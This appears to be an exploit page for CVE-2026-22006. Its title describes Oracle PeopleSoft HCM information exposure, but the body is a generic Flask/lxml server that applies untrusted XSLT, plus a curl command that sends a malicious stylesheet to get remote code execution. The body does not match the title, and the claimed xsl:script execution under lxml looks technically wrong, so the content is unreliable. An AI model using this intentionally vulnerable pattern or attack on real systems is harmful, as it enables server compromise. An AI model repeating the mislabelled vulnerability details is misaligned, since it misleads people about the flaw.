Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Oracle Peoplesoft Enterprise Hcm Human Resources

## https://sploitus.com/exploit?id=AD3E700D-63DE-55BE-9839-0E5C8B731164
---

## CVE-2026-22006 – XSLT Server‑Side Injection via `xsl:script`

### Program Code (Python + XSLT)

```python
# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request

app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
    xml = request.form['xml']
    xslt = request.form['xslt']
    xml_doc = etree.fromstring(xml.encode())
    xslt_doc = etree.fromstring(xslt.encode())
    transform = etree.XSLT(xslt_doc)
    result = transform(xml_doc)
    return str(result)

if __name__ == '__main__':
    app.run(port=5000)

```

# CVE-2026-22006 – XSLT Server‑Side Injection via `xsl:script`

![Severity: Critical](https://img.shields.io/badge/severity-critical-red)

## Overview
An XML transformation service accepts untrusted XSLT stylesheets and applies them without disabling scripting extensions. An attacker can embed `xsl:script` or processor‑specific functions (e.g., PHP’s `php:function`) to execute arbitrary code on the server.

## Vulnerability Details
- **Type:** Code Injection
- **Impact:** Remote Code Execution.
- **Root Cause:** The XSLT processor is configured with extension functions enabled, allowing direct calls to system commands.

## Exploit Demonstration
1. Start the server:
   ```bash
   pip install flask lxml
   python xslt_server.py
2. Send a malicious XSLT with the XML:
   ```bash
   curl -X POST -d "xml=" --data-urlencode "xslt@exploit.xslt" http://localhost:5000/transform

The server returns the output of id.